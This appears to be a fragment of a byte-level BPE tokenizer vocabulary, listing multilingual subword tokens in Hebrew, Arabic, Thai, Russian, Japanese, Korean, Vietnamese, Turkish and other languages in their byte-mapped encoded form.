+Ġת×Ļ×§ +Ġghé +ĠsprzÄĻ +ĠsprzÄĻt +ער×ķת +راØŃØ© +ãģ£ãģį +ãģ£ãģįãĤĬ +ĠìķĦëŀĺ +stituição +Ġдолжно +×Ķרש +×Ķרש×ŀ×Ķ +×Ķ׾×ļ +ãģ¡ãģª +ãģ¡ãģªãģ¿ +ãģ¡ãģªãģ¿ãģ« +פ×Ĺ×ĵ +ĠاÙĦجÙħÙĬع +×ij×¢×ľ×Ļ +Ġtrùng +Ġפת×Ĺ +×ŀ׾×Ĺ×ŀת +ãĥĨãĥ¼ãĥ +ãĥĨãĥ¼ãĥŀ +Ùħتاب +Ùħتابعة +Ġ모ìĬµ +ÙĬص +åIJĪãģĨ +ĠYap +ĠYapı +ĠÑģказаÑĤÑĮ +몰 +à¸Ĺีà¹Īสำà¸Ħัà¸į +ĠìĹĨìĬµëĭĪëĭ¤ +Ġnhắc +Ġülkeler +Ġмногие +íķĺìħ¨ +มาà¸ģà¸Ĺีà¹Īสุà¸Ķ +à¸ģà¹īา +à¸ģà¹īาว +Ġİyi +леж +лежа +ãĤ¸ãĥ§ +à¸Ĺัà¸ŀ +اÙĪØ± +Ġ×Ĺ×ijר×Ļ +Ġ׾ש×Ŀ +첫 +ĠTá»Ń +×ŀ×ķ׳×Ļ +ÙĤÙĪØ¯ +à¸ģระà¹Ģà¸Ľ +à¸ģระà¹Ģà¸Ľà¹ĭ +à¸ģระà¹Ģà¸Ľà¹ĭา +ĠпÑĢоблемÑĭ +Ġaçıs +Ġaçısından +Ġ×Ķ×ŀ׼ +ĠÙħعظÙħ +ÙĤÙĬاس +ĠпÑĢодолж +ĠпÑĢодолжа +ĠverdiÄŁi +ĠпÑĢедмеÑĤ +ãģĦãģ¾ãģĻãģĮ +ĠëĶ°ë¥¸ +ĠاÙĦÙĤÙĬاÙħ +ĠØ¥ÙĦÙĬÙĩا +ТÐIJ +поз +ãĤ·ãĥ¥ +ä¸ĬãģĮãĤĬ +à¹Ģà¸Ķิมà¸ŀัà¸Ļ +à¸ģุล +ØŃرÙĬØ© +×§×ij×ķצ×ķת +믿 +ĠاÙĦÙħÙĨا +ĠاÙĦÙħÙĨاطÙĤ +ĠвÑĭпол +ĠвÑĭполнÑı +ãĥĭãĤ¢ +Ġê²°êµŃ +×Ĺ×ķ×ŀ +×Ĺ×ķ×ŀר×Ļ×Ŀ +ĠУкÑĢаинÑĭ +หà¸Ńม +ר×Ļס +ĠÑħоÑĤел +ĠобÑĢазованиÑı +Ġkhẳng +Ġmưa +Ġgörme +Ġgüçlü +سعÙī +มัà¹Īà¸Ļà¹ĥà¸Ī +íķĺê²łìĬµëĭĪëĭ¤ +ĠполÑĥ +Ġfünf +ã썿ĢĿãģ£ãģ¦ãģĦãģ¾ãģĻ +Ġê·¸ê²ĥìĿĢ +ĠdÃ¼ÅŁÃ¼nce +ìŀł +ĠHÆ°á»Ľng +ĠTiá»ĥu +Ġçift +ãģijãģ° +à¸Īà¸Ļà¸ĸึà¸ĩ +à¸Ĺำà¹Ħà¸Ķà¹ī +ĠìŀIJì²´ +Ġdõ +Ġdõi +à¸Īัà¸Ļ +à¸Īัà¸Ļà¸Ĺ +à¸Īัà¸Ļà¸Ĺรà¹Į +eceÄŁini +׳×ķער +غار +ĠاÙĦØ£ÙħرÙĬÙĥÙĬ +داعش +ĠбезопаÑģноÑģÑĤи +ĠбÑİ +ĠбÑİдж +ĠбÑİджеÑĤ +ãĥĬãĤ¤ +à¸ŀà¸ļวà¹Īา +daÄŁ +×IJ×ķפף +íĹĮ +ãĥĢãĤ¤ãĤ¨ +ãĥĢãĤ¤ãĤ¨ãĥĥãĥĪ +ĠëĮĢíĨµ +ĠëĮĢíĨµëł¹ +Dİ +Ø£ØŃداث +ĠAÄŁ +ĠAÄŁust +ĠAÄŁustos +ØŃÙĦÙĪÙĦ +ĠwÅĽ +ĠwÅĽród +ĠÑģооÑĤвеÑĤ +ĠÑģооÑĤвеÑĤÑģÑĤв +ĠÑģооÑĤвеÑĤÑģÑĤвии +ĠLuáºŃt +Ġ׼׾פ×Ļ +ĠвеÑī +ĠвеÑīеÑģÑĤв +×§×Ļ×¥ +ĠبÙĩذا +عاش +à¹Ģà¸Ľà¹ĩà¸Ļà¹Ģรืà¹Īà¸Ńà¸ĩ +ТÐķ +Ġ×ij×IJ×Ļ׳×ĺר׳×ĺ +سعد +Ġ×Ķ×ĺ×Ļפ×ķ׾ +פ×Ļס +à¸ĩà¹Īายà¹Ĩ +ĠGerät +׾×Ļ×ĵ×Ķ +ĠÑĢиÑģк +׾ק×Ĺ +ннаÑı +ר×Ļ×ĵ +пÑĢакÑĤи +пÑĢакÑĤик +à¸Ĥัà¹īà¸Ļà¸ķà¸Ńà¸Ļ +à¸Ļà¹Īารัà¸ģ +larınızı +à¸Ńà¸Ļุà¸įา +à¸Ńà¸Ļุà¸įาà¸ķ +ĠzdjÄĻcia +Ġbây +ÑģÑĢ +ÑģÑĢоÑĩ +ãĥĭãĥ³ãĤ° +Ġöner +Ġöneri +ĠновÑĭÑħ +دعÙĪØ© +Ġgắn +ĠاÙĦÙĦبÙĨ +ĠاÙĦÙĦبÙĨاÙĨÙĬ +ãĥĨãĤ£ãĥ¼ +ĠصØŃÙĬØŃ +емÑĭÑħ +çĸ²ãĤĮ +ĠпÑĢоиÑģ +ĠпÑĢоиÑģÑħодиÑĤ +สà¸ķิ +ĠTết +Ġ×Ķ׾׾×ķ +à¹Ģรืà¹Īà¸Ńà¸ĩà¸Ļีà¹ī +×ŀ×ij׳×Ķ +Ġconteúdo +Ġاخت +ĠاختÙĬار +ÙħسÙĦ +ÙħسÙĦسÙĦ +ëıĪ +Ġ׾×Ļ×ĵ +à¸ŀิà¸ĺี +ĠÑģовÑģ +ĠÑģовÑģем +ãģĮãģĤãĤĬãģ¾ãģĹãģŁ +Ġsóng +إصÙĦاØŃ +ë§ģ +ÙģÙĬر +ĠJeżeli +ìłľëıĦ +dÅĤug +ìĥģìĿĦ +ĠcáºŃn +Ġhá»įp +أست +أستاذ +Ġ×ŀ×Ļש×Ķ +Ġ×ŀ×Ļש×Ķ×ķ +ĠdÃły +ĠchÃłng +ãģ¡ãĤĥãĤĵãģ¨ +ĠÄijám +Ġswój +Ġpoderá +ĠоÑĤлиÑĩа +Ġpériode +ündig +×ĺ×¢×Ł +ÑģÑĤÑĢоиÑĤелÑĮ +רת×Ļ +Ġ×Ļ×Ķ×Ļ×ķ +×ľ×¡ +ĠاÙĦÙħÙĨزÙĦ +à¸Ļิà¹īว +иÑĦика +иÑĦикаÑĨи +ðŁĺī +Ġadına +ãĢĤãĢĤãĢĤ +×IJ×Ļף +ס×Ļר +ĠÙĬعد +çŃĶãģĪ +اÙĦجز +اÙĦجزائر +енÑĮк +รห +รหัส +ĠTürkçe +꾸 +Ġ×Ļ×ķ׼׾ +Ġש×ķ׳×Ķ +Ġ×ij×ŀצ×ij +ĠдейÑģÑĤвиÑĤелÑĮно +ĠبأÙĨÙĩ +×ŀ×§×ĵ +Ġ×Ķשק +Ø®ÙĬارات +Ġfı +Ġfırs +Ġfırsat +ëijĺ +ĠìĦľìļ¸ +Ġ×Ķ×Ĵ×ķ×£ +رعا +رعاÙĬØ© +ĠKết +кÑģи +ĠÑĥÑģлÑĥги +ноÑģÑĤей +ìļ´ëıĻ +ĠобÑĬÑı +ĠобÑĬÑıвл +неж +×Ķפ×ļ +Ġ×ij×¢×Ļ׳×Ļ +ëĨĴ +ĠпÑĢоÑĨед +ĠпÑĢоÑĨедÑĥÑĢ +Ġihtiy +Ġihtiyacı +Ġë°Ķëŀį +Ġë°ĶëŀįëĭĪëĭ¤ +à¸ģลัว +ĠÑģложно +×§×Ļ×Ļ×ŀת +ĠÄIJình +ĠÙħÙĦÙģ +Ġà¹Ĥà¸Ķยมี +Ġkatkı +تØŃÙĪÙĬÙĦ +à¹Ħà¸ŀ +ĠHá»į +ñe +ĠдоÑħод +Ġthoải +íķĺìŬìķ¼ +ãĤ¹ãĥĿãĥ¼ãĥ +ãĤ¹ãĥĿãĥ¼ãĥĦ +ĠGòn +Ġkè +Ġkèm +é̲ãĤģ +ãĤ¹ãĥ¼ãĥ +ãĤ¹ãĥ¼ãĥij +ãĤ¹ãĥ¼ãĥijãĥ¼ +ĠgiÃłu +Ġإعادة +Ġ׾×ķ×§ +Ġ׾×ķ×§×Ĺ +ĠÑħоÑĩеÑĤ +×ĺ׾×ķ×ķ +×ĺ׾×ķ×ķ×Ļ×ĸ +×ĺ׾×ķ×ķ×Ļ×ĸ×Ļ×Ķ +Ġthuyết +ãģĿãĤĮãģ§ +Ġvardı +à¹Ħรà¹ī +عبد +ĠRepública +ãĥ¼ãĤ¿ãĥ¼ +Ġ×ŀ×IJ×ķת +à¹Ħà¸Ľà¹ģลà¹īว +Ġyapılacak +ãĤ¹ãĤ¿ãĥ¼ãĥĪ +ãģ»ãģ¼ +ĠkoÅŁ +ĠмаÑĤеÑĢи +Ġsiècle +ĠاÙĦÙħختÙĦÙģ +ĠاÙĦÙħختÙĦÙ쨩 +Ġ׾קר×IJ +Ġ׾קר×IJת +Ġ×Ķפ×ķ×¢×ľ +Ġtòa +ĠrÆ¡i +åij¨ãĤĬ +à¸Ŀà¸Ļ +jÅĽÄĩ +ĠìķĬìĿĦ +اÙĨتÙĤاÙĦ +ëĸł +иваеÑĤ +ãĥĪãĥ« +ĠاÙĦÙģÙĦسطÙĬÙĨÙĬØ© +à¸ģลà¹Īาววà¹Īา +اÙĥت +ĠÃĸl +ĠÑĢеÑĪи +ĠÑĢеÑĪил +Ġ׳×ķספ×ķת +Ġìłķì¹ĺ +влеÑĩен +ÙħرØŃÙĦØ© +Ġcomeça +Ġyık +ìĤ´ +à¸ĺà¸Ļา +à¸ĺà¸Ļาà¸Ħาร +à¸Ńà¸Ļา +à¸Ńà¸Ļาà¸Ħ +à¸Ńà¸Ļาà¸Ħà¸ķ +Ġpequeña +ä»ķäºĭãĤĴ +ĠبذÙĦÙĥ +Ġнового +ãģĹãģ¦ãģĦãģªãģĦ +ĠاÙĦÙħÙĬاÙĩ +à¸ģà¹ĩà¹Ģà¸Ľà¹ĩà¸Ļ +ĠжÑĥÑĢ +ĠжÑĥÑĢнал +веÑģ +ختار +Ġ매ìļ° +ĠMã +ĠавÑĤомаÑĤÑĭ +ضعÙģ +ĠاÙĦÙģÙĥر +ãģ§ãģĻãģ®ãģ§ +ãĥ¡ãĥ³ãĥIJãĥ¼ +ĠкÑĢÑĥг +ĠاÙĦسÙĦطة +à¸Ħรัà¹īà¸ĩà¹ģรà¸ģ +à¸ģระà¸Ĺรว +à¸ģระà¸Ĺรวà¸ĩ +ÑĨов +éķ·ãģĦ +大ãģįãģĦ +ĠgeçmiÅŁ +ìĦ±ìĿ´ +Ġצר×Ļ׼×Ķ +ĠмоÑī +ĠмоÑīн +Ġ×§×Ļש +Ġ×§×Ļש×ķר×Ļ×Ŀ +ĠNasıl +гÑĢан +Ġ×ŀ×ķצר×Ļ×Ŀ +Ġ×ŀס×ķ×Ĵ +Ġyür +Ġyürüt +Ġ׾×Ĺצ×ķ +×ķÖ¼ +ĠìŀĪìĹĪëĭ¤ +Ġterör +ĠThương +ĠÙĪÙĬÙħ +ĠÙĪÙĬÙħÙĥÙĨ +جÙĪÙĨ +ĠÙĪØºÙĬرÙĩا +×ŀפ×ķ +×Ĵ×ķר×ŀ×Ļ×Ŀ +׼×ij×Ļש +ĠاÙĦÙĦغ +ĠاÙĦÙĦغة +شرÙĥ +ĠاÙĦراب +ĠاÙĦرابع +ĠпÑĢек +ĠпÑĢекÑĢаÑģ +ĠпÑĢекÑĢаÑģн +ĠenergÃŃa +×§×ĵ×ŀ×Ļ +ãģıãģªãģ£ãģŁ +ĠÄijứ +ĠÄijứa +Servi +Serviço +Ġkaldır +åĥįãģį +Ġодеж +Ġодежд +물ìĿĦ +ãģĿãģĨãģ§ +ãģĮãģĤãĤĮãģ° +ìĻķ +צ×ĵ×§ +Ġartır +Ġileti +ĠiletiÅŁim +ãĤĪãģĨãģ§ +ãĥĪãĥ¼ +ãĤ¢ãĥĭ +ãĤ¢ãĥĭãĥ¡ +×ĺ×Ļ×Ļ׾ +ãĥķãĥªãĥ¼ +ãĥĿãĥ³ +ÐŁÑĢо +ĠعاÙĦÙĬØ© +ĠÃ¶ÄŁret +ĠÃ¶ÄŁretmen +ĠкаÑĩеÑģÑĤва +Ġ×Ķ×ĺ×ij×¢ +ĠзнаÑİ +ãģ¦ãģıãĤĭ +Ġmừng +ÙħÙĪØª +ש×ķ×ŀר +×Ĺ׾×ij +ĠwzglÄĻ +ĠwzglÄĻdu +ë²Ī째 +Ġtá»ĵ +Ġtá»ĵn +ãĥ¯ãĥ¼ãĤ¯ +Ġpożycz +Ġpożyczk +×Ļ×ķצר×Ļ×Ŀ +ÙĥرÙħ +ĠгаÑĢ +ĠгаÑĢан +ĠгаÑĢанÑĤи +ลà¹īาà¸ĩ +ĠìĺģíĻĶ +×ĺ×Ļס +Ġthẻ +ĠìŀĪëĭ¤ê³ł +اÙĦتز +اÙĦتزاÙħ +ĠнаÑĪи +isée +ãģĵãĤĮãĤĴ +Ġmẽ +ضÙĦ +بÙĪØª +Ġ׼׼×Ķ +hợ +ĠاÙĦسÙĪØ±ÙĬØ© +Ġ×ľ×¢×ķ×ŀ +Ġ×ľ×¢×ķ×ŀת +ĠbaÅŁar +ĠbaÅŁarılı +еÑģÑĤÑĮ +à¸Ħรี +à¸Ħรีม +ĠìłĦì²´ +ĠسÙĬÙĥÙĪÙĨ +Ġ×ŀ×ĵ×ķ×¢ +ĠëķĮ문ìĿ´ëĭ¤ +Ġcứng +gerät +ĠмиÑĢ +ĠмиÑĢе +ĠÙĥÙĬÙģÙĬØ© +Ġפר×ĺ×Ļ×Ŀ +ĠgoÅĽci +иÑĤеÑģÑĮ +ÑĥÑĪки +ؤÙħÙĨ +Ġ×IJ׼ף +ĠاÙĦرجÙĦ +Ġlá»įc +à¹Ģรียà¸ģวà¹Īา +ãģĵãģ®ãĤĪãģĨãģª +ë§Įíģ¼ +ĠпеÑĩ +ÙĪÙĦات +ĠÃľye +liÄŁinde +à¸Ħะà¹ģà¸Ļ +à¸Ħะà¹ģà¸Ļà¸Ļ +ãĤĭãģĵãģ¨ãģ¯ +วิà¹Ģà¸Ħร +วิà¹Ģà¸Ħราะ +วิà¹Ģà¸Ħราะหà¹Į +ĠвозможноÑģÑĤи +ĠاÙĦÙĨساء +ãĥīãĥ©ãĥŀ +Ġgüc +Ġgücü +Ġtưá»Ŀng +Ġacompaña +ãĤ¤ãĥ© +קצ×ij +ĠYö +ĠYönet +ĠYönetim +à¸ªà¸±à¸¡à¸ľ +à¸ªà¸±à¸¡à¸ľà¸±à¸ª +à¸Ļาม +ĠÄijợi +à¹ģหà¹Īà¸ĩà¸Ĭาà¸ķิ +ãģĿãĤĮãģ§ãĤĤ +ätig +ת×ķ×Ŀ +ĠbaÅŁlat +ĠвÑģей +ת×Ļ×§ +ת×Ļ×§×ķף +ĠNgô +ĠGeschä +ĠGeschäfts +Ø£Ùħ +Ø£Ùħراض +à¹Ģà¸Ĺà¸Ħà¸Ļ +à¹Ģà¸Ĺà¸Ħà¸Ļิ +à¹Ģà¸Ĺà¸Ħà¸Ļิà¸Ħ +ĠменÑĮ +ĠменÑĮÑĪе +Ġölç +Ġölçü +ĠÙĬجعÙĦ +ĠÄijỡ +ש×Ļ׾ +ש×Ļ׾×ķ×ij +ĠGrÃ¶ÃŁe +ĠÙĩاتÙģ +รà¹īาà¸Ļà¸Ńาหาร +×Ķ׾×Ļ׼ +×Ķ׾×Ļ׼×Ļ +иÑĢÑĥÑİÑī +èĭ¥ãģĦ +ĠÃĸzel +ãģĦãģŁãĤī +à¸Ħำà¸ĸาม +ĠzostaÅĤy +Ġ×Ķס×Ļפ×ķר +×Ķ×ķ׾ +×Ķ×ķ׾×ļ +à¹Ģà¸Ĭà¹Īà¸Ļà¸ģัà¸Ļ +à¹Ĥà¸Ĩ +à¹Ĥà¸Ĩษ +à¹Ĥà¸Ĩษà¸ĵา +×IJרצ×ķת +×Ĵרפ×Ļ +Ġaoût +ĠÙĬرÙĬد +تÙĪØ¬ +تÙĪØ¬ÙĬÙĩ +ĠÑįÑĤап +ãĤ¹ãĤ¿ãĥ³ +Ġkró +Ġkrótk +ãĤĴ使ãģĨ +ì·¨ +éĸ¢ãĤı +à¸Ķà¹īวยà¸Ħวาม +à¸Ļำà¹Ģสà¸Ļà¸Ń +Ġayrıca +à¸Īà¹īาà¸ĩ +ĠÑĦоÑĤогÑĢаÑĦ +ĠвеÑĩ +ĠвеÑĩеÑĢ +åĩºãģĹãģŁ +ĠХо +Ġ×ŀר×Ĵ×Ļש +à¹ĥหà¹īà¹Ģà¸Ľà¹ĩà¸Ļ +ãĤĴ缮 +ãĤĴ缮æĮĩ +׾×ŀ×Ļ×Ŀ +nÄħÅĤ +ĠÑģÑĤанд +ĠÑģÑĤандаÑĢÑĤ +ĠSüd +ĠTâm +اختبار +à¹Ģà¸ģà¸Ńรà¹Į +ÙħسرØŃ +Ġbiá»ĩn +بÙı +ĠصاÙĦ +ĠصاÙĦØŃ +ĠPhụ +íľ´ +ãĥ¬ãĥĵãĥ¥ãĥ¼ +Ġbụng +Ġrégime +ĠأشÙĩر +ĠÑĢабоÑĤник +à¸Ŀัà¸Ļ +اعتÙħ +اعتÙħاد +ĠзамеÑĤ +ãģ¾ãģ£ãģ¦ +Ġchặt +æĿ¥ãĤĭ +ĠاÙĦÙĤÙĪØ§Øª +ãģ«åħ¥ãģ£ãģ¦ +تØŃاÙĦÙģ +ÙħزÙĬد +ĠÙĬصÙĦ +ìĹ¼ +à¹Ģà¸Ĭà¹ĩ +à¹Ģà¸Ĭà¹ĩà¸Ħ +Ġká»ĭ +Ġká»ĭp +ĠìķĦì§ģ +×IJ׳×Ĵ +ĠоблаÑģÑĤÑĮ +ĠpomocÄħ +Ġ×ķש׾ +ëĵłì§Ģ +ĠGiám +ĠStück +Ġcháy +ĠëĤĺìĺ¤ +ש×Ļ×ĺת +×ŀ×ĵר +×ŀ×ĵר×Ļ×ļ +Ġsüreç +ква +×ij׾×Ļ×Ŀ +×Ķת×Ļ +×Ķת×Ļ×Ļ×Ĺס +ÙĤباÙĦ +Ġס×ķ×Ĵ +Ġס×ķ×Ĵ×Ļ +ÑģÑĤолÑĮ +ä½ķãĤĤ +×ĸ׼×ķר +è²·ãģĨ +å®īãģı +à¸Ħรัà¹īà¸ĩà¸Ļีà¹ī +köp +ĠÑģеÑĢвиÑģ +оÑĩнÑĭÑħ +ê±°ëŀĺ +تأÙĥ +تأÙĥÙĬد +×ĵ׾ק +ĠпоÑĩем +ĠпоÑĩемÑĥ +пиÑģаÑĤÑĮ +×ijשר +ĠHÃłng +ĠTìm +Ġtrừ +ãĤ»ãĥĥãĤ¯ãĤ¹ +×ķ׳×Ĵ +mızda +пÑģи +ĠìŀĪ기 +Ġrút +زاÙĨ +تÙĨÙĪØ¹ +ÙħÙĤا +ÙħÙĤاÙĪÙħØ© +Ġ׾צ×ķר×ļ +Ġ×ij×Ļר×ķש׾×Ļ×Ŀ +ãĥ´ãĤ£ +ebile +ebileceÄŁi +ãĥ¦ãĥ¼ãĤ +ãĥ¦ãĥ¼ãĤ¶ +ãĥ¦ãĥ¼ãĤ¶ãĥ¼ +ãĤĴä½ľãĤĭ +ÑģмеÑĢ +ÑģмеÑĢÑĤ +Ġì§ģ +Ġì§ģìłij +ĠÐŁÐ°ÑĢ +ØŃاض +ØŃاضر +ÙħÙĥاÙģ +ÙħÙĥاÙģØŃØ© +ลิà¸Ļ +ãģ¦ãģįãģ¦ +ÑĢоÑģл +ĠÄ°ÅŁte +ÙĤصÙĬر +Ġ×ij×Ĵ×Ļ׾ +Ġ×ŀת×IJ×Ļ×Ŀ +Ġ×Ķ×Ĺ×ĵ +Ġ×Ķ×Ĺ×ĵש×Ķ +ר×ķ×¢ +Ġproduktów +ĠÙħصدر +неÑĨ +ĠاÙĦعÙħÙĦات +Ġçıkma +ĠدبÙĬ +×§×Ļף +ת×IJר +ת×IJר×Ļ×ļ +׳×Ļ×Ļ×ĵ +صراع +lève +צ×Ļר +à¸Ķัà¸Ļ +à¹ĥหà¹īà¹Ħà¸Ķà¹ī +ãĤ¿ãĤ¤ãĥł +Ġgiảng +Ð¡ÐŁ +ĠاÙĦÙħØŃÙĦ +ĠاÙĦÙħØŃÙĦÙĬØ© +ĠTất +׾×ķ×ĺ +há»ķ +Ġaméric +Ġaméricain +Ġ×ijש׾×ij +Ġ׾×IJ×ķ×ŀ×Ļ +Ġpeça +ĠÑĢазнÑĭÑħ +ãģĦãĤĭãģ¨ +ãĥĩãĥ³ +סקר +Ġ×Ķ×ŀ×Ĺ×Ļר +ãģ¨ãģĦãģĨãĤĤãģ® +رتبط +ĠиÑģÑĤоÑĩ +ĠиÑģÑĤоÑĩник +สมัà¸Ħรสมาà¸Ĭิà¸ģ +Ġà¸Ĺัà¹īà¸ĩ +Ġà¸Ĺัà¹īà¸ĩà¸Ļีà¹ī +ĠTáºŃp +ãģ£ãģ¦ãģĦãģĨ +ĠاÙĦÙĪØµÙĪÙĦ +Ġdécada +ĠоÑĦоÑĢм +ĠоÑĦоÑĢмлен +สำหรัà¸ļà¸ģาร +Ġogóln +ãģĨãģ¡ãģ« +Ġvárias +ãģĻãģİãĤĭ +ÙĪÙĩا +à¹Ĥà¸Ľà¸£à¸Ķ +ĠÐłÐ¾ÑģÑģиÑı +人ãĢħ +ãģĹãģ¦ãģįãģŁ +Ġsırasında +Ġngôn +سÙĨØ© +تÙħتع +×ŀ׼×ij×Ļ +Ġnhấn +×¢×ŀ×Ļ×ĵ +Ứ +жиÑĤÑĮ +ãĤīãģĽ +gráf +gráfica +ĠÙĤÙĪÙĦ +ĠÙĤÙĪÙĦÙĩ +ëĭ¨ì²´ +หà¹īา +หà¹īาม +使ãģ£ãģ¦ +ת×Ļ×ij +ת×Ļ×ijת +iá»ĥu +à¹ģà¸Ĭม +à¹ģà¸Ĭà¸¡à¸Ľ +à¹ģà¸Ĭà¸¡à¸Ľà¹Į +Ậ +ĠëĤĺëĿ¼ +ĠÙħباشرة +ĠtrÄĥm +سÙĥÙĪ +ĠاÙĦذÙī +Ġbiç +Ġbiçim +تراجع +ĠобеÑģп +ĠобеÑģпеÑĩ +ĠобеÑģпеÑĩива +ĠвоздÑĥÑħ +ÑĭваÑĤÑĮ +ÙĦØŃÙĤ +ĠMüdü +ĠMüdürl +ĠMüdürlÃ¼ÄŁÃ¼ +Ġyaptır +Ġפרס +Ġפרס×ķ×Ŀ +Ø·ÙĪØ± +ÑģÑĤвоваÑĤÑĮ +ìŀ¥ìĿĦ +à¸Ĺีà¹Īà¸Ķีà¸Ĺีà¹Īสุà¸Ķ +à¸Ńัล +ÑĢÑİ +ÙħستÙĤبÙĦ +ÑģлÑĥÑĪ +ÑģлÑĥÑĪа +èªįãĤģ +Ġ׾×Ļ×ŀ +Ġ׾×Ļ×ŀ×ķ×ĵ×Ļ +תש×ķ×ij +תש×ķ×ij×ķת +ĠgerçekleÅŁtiril +ĠاÙĦاتÙ쨧ÙĤ +ĠÑĥÑĢовне +ĠÑĤÑĢав +Ġ×Ķ×ŀ×ķף +ØŃÙģØ§Ø¸ +ĠÙħÙIJ +ĠÙħÙIJÙĨ +ĠÙħÙIJÙĨÙĴ +Ġdemás +×ŀ×ķ×ĸ×Ļ×§×Ķ +ש×Ļ×Ĺ×Ķ +Ġbú +алÑĮнÑĭм +ãĤıãģŁ +ãĤıãģŁãģĹ +ĠاÙĦÙħÙĪØ§Ø¯ +×ª×Ľ×ł +×ª×Ľ×ł×ķף +ãĥŃãĥĥãĤ¯ +hiếu +ĠÑĥме +ÙħØŃاÙĪÙĦØ© +×IJ×ķשר +ĠконкÑĥÑĢ +ĠконкÑĥÑĢÑģ +Ġ×ŀ×ij×Ĺ +Ġ×ŀ×ij×Ĺ×Ļ×ł×ª +Ġanlam +Ġanlamı +Ġliá»ĩt +ĠвÑħод +ĠHình +ĠÙĨÙĬ +ĠÙĨÙĬÙĪØ² +ãĤ¸ãĥ£ãĥ¼ +×ij×Ļ×¥ +ÑĤелÑĮнÑĭÑħ +à¸Ĺุà¸ģà¸Ńยà¹Īาà¸ĩ +ĠkiÅŁinin +Ø£Ùĥثر +ĠиÑģÑĤоÑĢии +Ġë³ĢíĻĶ +×¤×ľ×¡×ĺ +×¤×ľ×¡×ĺ×Ļ׳×Ļ +ĠÑģеÑĤ +ĠÑģеÑĤи +dıģımız +íķĺëıĦë¡Ŀ +×Ķר +×Ķר×ij×Ķ +ãģĻãĤĭãģĵãģ¨ãģ¯ +Ġphiếu +تØŃسÙĬÙĨ +ĠÅĽrod +ĠÅĽrodow +ĠÅĽrodowisk +ĠÑĢаÑģÑħод +برÙĬد +ĠرÙĬ +ĠرÙĬاÙĦ +Ġ×ķ׼×ļ +ì§ĢìļĶ +׼×ŀ×ķ +Ġ×¢×ľ×Ļ×Ķ×Ŀ +fÃŃcio +Ġkararı +tıģını +ĠСов +ĠСовеÑĤ +ãģĬéĩijãĤĴ +междÑĥ +междÑĥна +междÑĥнаÑĢод +междÑĥнаÑĢодн +Ġmá»Ŀi +ĠاÙĦØ¥ÙĬر +ĠاÙĦØ¥ÙĬراÙĨÙĬ +ĠاÙĦرÙĪØ³ÙĬ +صÙĨد +صÙĨدÙĪÙĤ +ĠاÙĦØ¥ÙĨترÙĨت +Ġtắm +ĠÑĤакого +Ġ×ij׾×ķ×Ĵ +Ġücrets +Ġücretsiz +×Ĺ×ĸ×Ļר +ìĸ´ìķ¼ +ĠPhần +ï¼ľ +Ġ×ĺ×ij×¢ +Ġ×ĺ×ij×¢×Ļ +×IJ×ŀ×IJ +اÙĤÙĦ +Ġcondições +ÙĤاتÙĦ +ĠÑĢезÑĥлÑĮÑĤаÑĤе +ĠÑģвоими +צ×ij×Ļ×¢ +géni +Ġzes +Ġzespo +ĠzespoÅĤ +ÑĪив +Ġפר×ĺ×Ļ×ķת +ÙħستشÙģ +ÙħستشÙģÙī +شرع +ĠkoÅĽci +Ġ×Ķ×IJ×Ļ׳×ĺר׳×ĺ +ĠЧеÑĢ +поÑĩÑĤ +Ġactivités +çŁ¥ãģ£ãģ¦ +Ġ×ij×ĸ×Ķ +Ġyüzden +ãģªãĤĬãģ¾ãģĽãĤĵ +Ġíĺ¹ +Ġíĺ¹ìĿĢ +Ġ×ŀש׳×Ķ +ĠÐĴеÑĢ +Ġ×ij×IJ×ķת×ķ +éĿ¢çϽ +éĿ¢çϽãģĦ +شرØŃ +gründe +Ù쨴 +Ù쨴ÙĦ +Ġséjour +ë´IJ +Ġrôle +شعار +емÑĭе +ĠاÙĦجسÙħ +алÑĮное +Ġìĥģíĥľ +D +ë¯Ģë¡ľ +ĠÙĨÙĤØ· +ĠÙĨÙĤطة +ãģĿãģĨãģł +ãģĻãĤĭãģ®ãģĮ +หู +Ġnhá»ĭ +Ġeconómica +ס×ĺ×ķ×ĵ +ס×ĺ×ķ×ĵ׳×ĺ +มีà¹Ĥà¸Ńà¸ģาส +Ġgestão +รูà¹īวà¹Īา +Ġloạt +ĠاÙĦÙħÙı +ĠاÙĦØŃÙħÙĦ +ĠاÙĦعÙħÙĦÙĬØ© +Ġê²ĥëıĦ +ĠÐľÐ¾Ñģква +×§×ĺ×ķר +ĠподÑĢоб +ĠподÑĢобн +Ġlưng +تÙ쨳 +تÙ쨳ÙĬر +ĠاÙĦبع +ĠاÙĦبعض +ئت +ÐķÐĿ +ìĹ°êµ¬ +à¹ĥหà¹īà¸Ħุà¸ĵ +ãģĤãĤĬãģ¾ãģĹãģŁ +Ġbirka +Ġbirkaç +Ġİsl +Ġİslam +çĹĽãģ¿ +Ġhảo +ĠмаÑı +ĠiÅŁÃ§i +×©× +ש×ģ +à¸ģารà¹Ģมืà¸Ńà¸ĩ +×ķ×Ķר +Ġchó +ëĨĢ +Ġyanlı +ĠyanlÄ±ÅŁ +幸ãģĽ +×IJר×Ĵ×ķ׳×Ļ +à¸Ńาà¸Īาร +à¸Ńาà¸Īารยà¹Į +ĠинÑĦоÑĢмаÑĨиÑİ +ÐĵÐŀ +׳×Ĺש +ĠìķĮìķĦ +ĠÑħаÑĢакÑĤеÑĢиÑģÑĤ +ĠÑħаÑĢакÑĤеÑĢиÑģÑĤик +à¸Ħุà¸ĵสามารà¸ĸ +è¦ĭãģĪãĤĭ +à¸Ĭัà¸Ķà¹Ģà¸Ī +à¸Ĭัà¸Ķà¹Ģà¸Īà¸Ļ +ĠdziaÅĤal +ĠdziaÅĤalnoÅĽci +à¹Ĥà¸ŀสà¸ķà¹Į +ĠÐļол +ĠÙģÙĩÙĬ +Ġ×ŀפ׳×Ļ +Ġ×Ķקשר +ÙħرÙĥ +ÙħرÙĥز +Ġhoá +Ġапп +ĠаппаÑĢаÑĤ +Ġpami +ĠpamiÄĻ +ĠpamiÄĻta +Ġçünkü +×ĵ×ķף +ãģ¯ãģĵãģ¡ãĤī +ĠMÃł +ĠÙĬÙĤدÙħ +ĠпÑĢез +ĠпÑĢезиденÑĤ +à¸Ńุà¸ķ +à¸Ńุà¸ķสา +à¸Ńุà¸ķสาห +à¸Ńุà¸ķสาหà¸ģรรม +ì§ĢìĽIJ +Ġ×IJפשר×ķת +schüt +schütz +ĠTiên +Ġsayılı +ĠгÑĢÑĥппÑĭ +оÑĩнÑĭй +Ġ×ľ×¢×ŀ×ķ×ĵ +ĠwrzeÅĽ +ĠwrzeÅĽnia +ĠÄIJầu +à¹Ģà¸Ĥà¹īารà¹Īวม +nızda +Ø®ÙĬص +Ġgünc +Ġgüncel 